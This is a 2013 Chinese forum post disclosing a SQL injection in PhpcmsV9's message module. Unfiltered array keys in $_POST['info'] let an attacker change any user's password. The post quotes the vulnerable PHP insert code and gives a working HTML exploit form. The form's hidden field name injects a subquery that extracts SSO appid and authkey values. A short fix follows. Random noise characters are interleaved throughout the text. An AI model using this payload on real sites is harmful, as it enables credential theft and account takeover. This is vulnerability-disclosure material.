找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2049|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
简要描述:
: y0 I3 X& M: K5 \% h) g6 ~7 [' F. h& u. ~  u& v% f
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
) E5 _9 O9 U" G5 V  {" _4 d0 H
1 W5 q0 w) Z( d5 {1 t6 b, \明天再更新下一个漏洞。
9 p! k  ^. j: b1 t: o; ?7 P详细说明:* B. }2 [8 c% X
在/phpcms9/phpcms/modules/message/index.php中有代码如下:# H# ~' z5 ?& y6 v# N

/ F# S$ ^. q  c8 \0 E7 a, N5 u$messageid = $this->message_db->insert($_POST['info'],true);
; S& |. g6 ~- Z  n$ A- o% b, b+ L6 T7 _: y  l9 E( m

9 g  w* T+ |) f; E- C* Pinsert方法是key value的,代码如下:6 p3 v9 v" `* m8 @4 x/ |# J7 `
2 A* t: Y. \" y. N2 i
public function insert($data, $table, $return_insert_id = false, $replace = false) {, ]* A  Y# g* k/ S: Z
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
- j7 s# X4 d( O                        return false;# Y, f5 |% s  k' I! Y
                }% X) u1 |/ N. d, v  J
                0 I* C/ ]" J5 X' h1 z& }: T
                $fielddata = array_keys($data);8 l. `; d, S# w5 v8 j
                $valuedata = array_values($data);" n* R+ {" ~+ o3 U/ V6 {
                array_walk($fielddata, array($this, 'add_special_char'));
! b$ l$ G% V8 o" l9 Z                array_walk($valuedata, array($this, 'escape_string'));, C  B0 v0 q$ [6 b% B
               
/ J1 [- O, a2 [9 c2 P                $field = implode (',', $fielddata);
* |( s9 F% ?9 ]/ G& U' t                $value = implode (',', $valuedata);
' z" g/ A' `( ^& ~: R: d1 {) X, B$ s
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';) `; C  y' \; L1 ?- y3 |* b
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';8 a1 {9 D, P0 Z1 r1 }. R: ]
                $return = $this->execute($sql);) [6 A. ]  t0 s# h7 w
                return $return_insert_id ? $this->insert_id() : $return;
9 ]+ }  ^6 B& e2 p6 ^        }
+ m. y8 D! o/ j$ _, a# P& n$ V4 c4 |% i8 E  B3 K3 A

) y! ]& O; {% M1 [2 h1 N' U. M嗯,很遗憾的是; Q" v# v) l7 J6 s( Z

4 e% m- r- H# l2 b, m# rarray_walk($fielddata, array($this, 'add_special_char'));* L; S7 r: V: ~0 U( J7 e, O0 L' j$ J

9 n* |7 |( _3 A& V
) o3 m) N! |/ j6 }' p3 S中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
$ }% c; T$ u& ?) w% P% N
3 ?( }" V7 n3 m到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
5 o+ y! t$ |! H8 j5 V; \5 M0 h& i) N2 x! l! k
漏洞证明:3 {, q1 F8 q: _& s
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
# k+ W& \9 x6 k: M4 N; }7 _# `' V" l0 g$ |- _: S- n

% D4 {6 V  T3 \4 M# D表单如下:用户名什么的得自己改一改。% C' V; _+ Q5 {! y
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
: z% d* L' i! n<table width="100%" cellspacing="0" class="table_form">
) I) {" I1 [$ v& c<tr>
" O7 o0 v* y+ k; U! X+ {- L# @. e<th>标 题:</th>
* v9 g" d! E* f3 L6 P<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>2 H) o6 ?6 C$ }: a
</tr> ( ?0 ^; Y5 K7 v
<tr>! E, E# j& o* k8 m: V
<th>内 容:</th>4 M3 K6 L6 H0 A" P/ r# Y9 O
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>8 q0 ]+ s3 f  i9 V" E
</tr>: P$ X' F% p- P$ s0 t
<input type="hidden" name="info[replyid]" value="2" /> - y5 _7 B' {7 r' u! y, ?" C; X7 }7 T
<input type="hidden" name="info[send_to_id]" value="cc" /> ( F- ^( w+ ~+ X, ^
<input type="hidden" name="info[send_from_id]" value="hh"># ?. B6 f# Y7 f" C
<!-- 漏洞的利用重点在这里开始 -->
5 C+ y6 H- L3 l; H' g1 V5 U' W! V<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 7 n, i) p2 [* _6 q2 s
<!-- 漏洞的利用重点在这里结束 --># d- F4 s( J) p) |! t
<tr>
5 j" C" d- D) [1 D9 F7 k* T  V<th>验证码:</th>
+ o2 S, K, L+ E! b5 ?! C<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
% E: B* r: h1 ?( k+ w5 P; X, K</tr>
3 f4 E3 [& _6 P- [# D5 S<tr>
: ?$ {6 I# W9 d9 T<td></td>) k/ j- Q+ v3 d' ]
<td colspan="2"><label>0 j# }6 |3 o) K. ]# X5 K6 y$ v
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
! p) q3 t; S8 w9 Q( F) F, |</label></td>
4 z4 G$ p  z5 Y9 x! F</tr>
! X' [+ i7 k6 y, u' M# x</table>
& v4 y' m$ ~" O7 _% B6 h5 K4 Q+ ?</form>
7 i! t( L! o4 z- K: H8 h( e3 Y% z5 L在add_special_char函数内对key做过滤就可以了。5 V& i7 M6 }. n. C. b7 b, s- F

! H+ V4 ?$ q1 w: ]) K* y4 w4 u5 b- X- x, G, S( r/ L( e  R
% O4 @! |5 A3 G' E- O7 h% r, e. e

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表